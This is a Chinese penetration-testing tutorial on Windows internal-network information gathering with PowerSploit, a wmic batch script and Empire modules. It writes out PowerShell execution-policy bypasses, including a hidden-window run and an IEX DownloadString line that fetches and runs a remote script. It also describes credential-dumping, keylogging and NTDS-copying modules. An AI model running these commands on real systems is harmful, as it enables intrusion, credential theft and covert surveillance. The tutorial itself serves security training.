渗透测试内网渗透之信息收集(二)

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 渗透测试内网渗透之信息收集(二)

0x01 前言


在内网渗透中,前期的信息收集是必不可少,获取主机的关键信息,往往会对后边的渗透做下很好的铺垫。上一篇记录相关的命令和信息收集的点,这一篇介绍一下在windows下信息收集时用的自动化脚本。


0x02 windows下的脚本执行


一般powershell都有默认的保护机制,无法直接执行ps文件,需要使用其他方法。


四种执行权限:

  • Restricted——默认的设置, 不允许任何script运行
  • AllSigned——只能运行经过数字证书签名的script
  • RemoteSigned——运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
  • Unrestricted——允许所有的script运行

默认是禁止脚本执行的,使用Get-ExecutionPolicy进行查看,使用Set-ExecutionPolicy命令修改。


如果想要绕过默认的策略可用以下方法:

本地权限绕过执行
PowerShell-ExecutionPolicyBypass-Filexxx.ps1
本地隐藏权限绕过执行
PowerShell.exe-ExecutionPolicyBypass-NoLogo-NonInteractive-NoProfile-WindowStyleHidden(隐藏窗口)-Filexxx.ps1
IEX下载远程脚本绕过执行
IEX(New-ObjectNet.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)

常用参数:

  • -ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略
  • -WindowStyle Hidden(-W Hidden):隐藏窗口
  • -NonInteractive(-NonI):非交互模式,不为用户提供交互式提示
  • NoProfile(-Nop):不加载当前用户配置文件
  • -noexit:执行后不退出shell,使用键盘记录脚本非常重要
  • -NoLogo:启动是不显示版权标致


0x03 PowerSploit


PowerSploit是一个在windows下的powershell脚本集,里面包含了信息收集,权限提升,权限维持等多种功能,这里主要介绍他的信息侦查模块recon和信息收集模块exfiltration

下载地址:

https://github.com/PowerShellMafia/PowerSploit


PowerSploit-recon


Recon-Get-ComputerDetails 通过日志获取信息

这个脚本用于从计算机中获取有用的信息。


主要获取信息如下:

  • 显式凭证登录(事件ID 4648)
  • 登录事件(事件ID 4624)
  • AppLocker日志,查找创建的进程
  • 使用PowerShell日志来查找已经执行的PowerShell脚本
  • RDP客户端保存服务器,这表明用户通常RDP在哪些服务器

本地加载该脚本,由于脚本并不是完整代码,只是定义了函数,所以需要载入。

1、.+空格+.\Get-ComputerDetails.ps1

2、import-Module .\Get-ComputerDetails.ps1


远程加载


IEX(New-ObjectNet.WebClient).DownloadString(“http://127.0.0.1/Get-ComputerDetails.ps1”)


执行结果如下:

这个脚本一些值的获取需要管理员权限,其次因为有些内容可能查不到所以会报错,


脚本主要用了以下几个命令:

Get-eventlog:获取本地计算机或远程计算机上事件日志或事件日志列表中的事件。

Get-WinEvent:从本地和远程计算机上的事件日志和事件跟踪日志文件中获取事件。

Get-ChildItem:获取一个或多个指定位置中的项和子项。位置可以是文件系统目录、注册中心或证书存储区。


Recon-Get-httpstatus 探测web目录

这个脚本主要用于探测web目录

同时在dictionaries目录里也提供了几个字典文件

示例:




C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*}
C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL


Recon-Invoke-Portscan 端口扫描

相关参数有很多,建议阅读说明文档

Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 50

速度还是可以的

在使用这种有向外连接脚本的时候会触发火绒的联网控制,默认会阻止,下面是手动允许了。


Recon-Invoke-ReverseDnsLookup DNS侦查

反向DNS查询,扫描DNS PTR记录的IP地址范围。此脚本用于在进行授权渗透测试之前执行DNS侦察

运行结果如下,可以查找到主机名。


Recon-powerview

powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本

里面包含很多在域环境下信息收集的函数,详细函数作用及调用脚本

详情可以参考文档里面的readme文件


这里列举几个看着有点用函数:

Get-CachedRDPConnection——查询目标主机上保存的所有RDP连接项

Get-LastLoggedOn—返回目标主机的最后一个登录用户

aabaf8c72fef084a0ab94cd716b1e669_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

关于域环境下相关的函数

当具体遇到哪个函数了,可以具体再去获取相关信息


powersploit-exfiltration

直接导入目录,Import-Module ./Exfiltration

发现其中三个文件被火绒直接报毒杀掉

344bc35397a06c0268742de6e056d0e5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

一个是抓密码的mimikatz,

一个是ninjacopy(通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件。这绕过了文件DACL、读句柄锁和SACL锁。必须是管理员才能运行该脚本。这可以用来读取通常被锁定的系统文件,比如NTDS.dit文件或注册表hives。)另外一个是Invoke-CredentialInjection(这个脚本允许攻击者使用明文凭据创建登录,而不会触发ID 4648的可疑事件(显式凭据登录)

exfiltration-Get-GPPAutologn

在域控制器中搜索以查找autologon信息并返回用户名和密码。


exfiltration-Get-GPPPassword

在域控制器中搜索groups.xml, scheduledtasks.xml, services.xml和datasource .xml文件内容并返回明文密码。


exfiltration-Get-Keystrokes

键盘记录并输出

发现捕获不到键盘记录,原因未知


exfiltration-Get-MicrophoneAudio

利用Windows API从winmm.dll记录音频从麦克风和保存波文件到磁盘。


exfiltration-Get-TimedScreenshot

屏幕截图,可指定间隔时间和结束时间


exfiltration-Get-VaultCredential

凭证枚举,web凭据可明文


exfiltration-Invoke-CredentialInjection

登录注入,伪造登录


exfiltration-Invoke-Mimikatz

抓密码hash


exfiltration-Invoke-NinjaCopy

超级复制,用管理员启动后可以复制受保护的运行中的系统文件


exfiltration-Invoke-TokenManipulation

可以枚举可用的登录令牌,并使用它们创建新进程。这允许您使用

另一个用户通过使用他们的登录令牌创建一个进程来通过网络进行认证。


exfiltration-Out-Minidump

将包含所有进程内存的进程转储文件写入磁盘。emm看似进程转储


exfiltration-VolumeShadowCopy

包含下面几个函数


Get-VolumeShadowCopy

New-VolumeShadowCopy

Mount-VolumeShadowCopy

Remove-VolumeShadowCopy

提供系统卷影拷贝删除等功能


0x04 自动化脚本


前面也介绍了相关wmic在信息收集时的相关命令,而wmic脚本仅仅就是将之前的命令整合起来做一个输出,可以根据自己的需求自己定制。


下面是网上的wmic bat脚本,复制黏贴到文件,保存成bat格式就能用。

简单解释一下

在批处理文件中的for循环

for %%I in (command1) do command2
/f //读取文件中的内容
"delims=" //delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键


for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

执行后如下图:

df21bf3780c20436f13ca682d4e9473e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


0x05 Empire


我们在获取一个shell以后,就可以使用empire中powershell的脚本,脚本有很多,这里还是只介绍一下有关信息收集的脚本使用


连接上后如下:

0941a9510389ea80541d5440d38e752a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

没连上前还有302个模块可用,连上后只有221个可以使用了。


大类分为 :

codeexecution(代码执行)、collection(采集)、credentials(凭据)、exfiltration(渗出)、lateralmovement(横向移动)、management(管理)、persistence(维持)、privesc(权限提升)、recon(侦查)、situational_awareness(态势感知)、troll sploit(分裂)

本文由“壹伴编辑器”提供技术支持

这上面大部分都是机译,后期会有专门的对后渗透所用的工具进行介绍,这里只做简单介绍。

使用situational_awareness模块,可以看到有以下部分,根据命名几乎都能判别其作用。

我们随便找一个端口扫描的进去看一下

87dc3a082d1f40796529b6cb723a1960_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现其使用了powersploit相关模块,毕竟这款工具就是基于powershell进行开发的。

尝试使用以下arpscan模块,看一下需要什么参数,简单设置一下范围,直接使用execute执行

795306c46d42f8394423b0092712e62d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

再试一下屏幕截屏,直接在agents下敲sc命令,会直接调用powershell/collection/screenshot模块,最后会存放于

/root/.local/powershell-empire/downloads/E8721H6C下,另外下面也会存在命令执行记录的一个log文件。


还有许多模块还没有尝试,后期会在工具篇中详细说明。另外,渗透真好玩。


相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
1月前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
|
1月前
|
Python Windows 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
|
1月前
|
存储 安全 小程序
Kali渗透测试:使用Word宏病毒进行渗透攻击
Kali渗透测试:使用Word宏病毒进行渗透攻击
Kali渗透测试:使用Word宏病毒进行渗透攻击
|
1月前
|
存储 数据采集 分布式计算
Hadoop-17 Flume 介绍与环境配置 实机云服务器测试 分布式日志信息收集 海量数据 实时采集引擎 Source Channel Sink 串行复制负载均衡
Hadoop-17 Flume 介绍与环境配置 实机云服务器测试 分布式日志信息收集 海量数据 实时采集引擎 Source Channel Sink 串行复制负载均衡
44 1
|
1月前
|
安全 Linux 网络安全
Kali 渗透测试:利用HTA文件进行渗透攻击
Kali 渗透测试:利用HTA文件进行渗透攻击
|
1月前
|
安全 Linux 网络安全
Kali渗透测试:使用browser_autopwn2模块进行渗透攻击
Kali渗透测试:使用browser_autopwn2模块进行渗透攻击
|
6月前
|
安全 测试技术 网络架构
【专栏】编写网络设备割接方案的七个步骤,包括明确割接目标、收集信息、制定计划、设计流程、风险评估、准备测试环境和编写文档。
【4月更文挑战第28天】本文介绍了编写网络设备割接方案的七个步骤,包括明确割接目标、收集信息、制定计划、设计流程、风险评估、准备测试环境和编写文档。通过实际案例分析,展示了如何成功完成割接,确保业务连续性和稳定性。遵循这些步骤,可提高割接成功率,为公司的网络性能和安全提供保障。
713 0
|
4月前
|
开发框架 前端开发 JavaScript
ABP框架测试信息---Winform端、动态网站、Vue&Element管理后端等
ABP框架测试信息---Winform端、动态网站、Vue&Element管理后端等
|
3月前
|
安全 网络协议 网络安全
Python 渗透测试:黑客内外网信息收集.(帮助 得到信息攻击计算机内外网.)
Python 渗透测试:黑客内外网信息收集.(帮助 得到信息攻击计算机内外网.)
39 0
|
5月前
|
机器人 定位技术 C++
技术笔记:ROS中测试机器人里程计信息
技术笔记:ROS中测试机器人里程计信息
下一篇
无影云桌面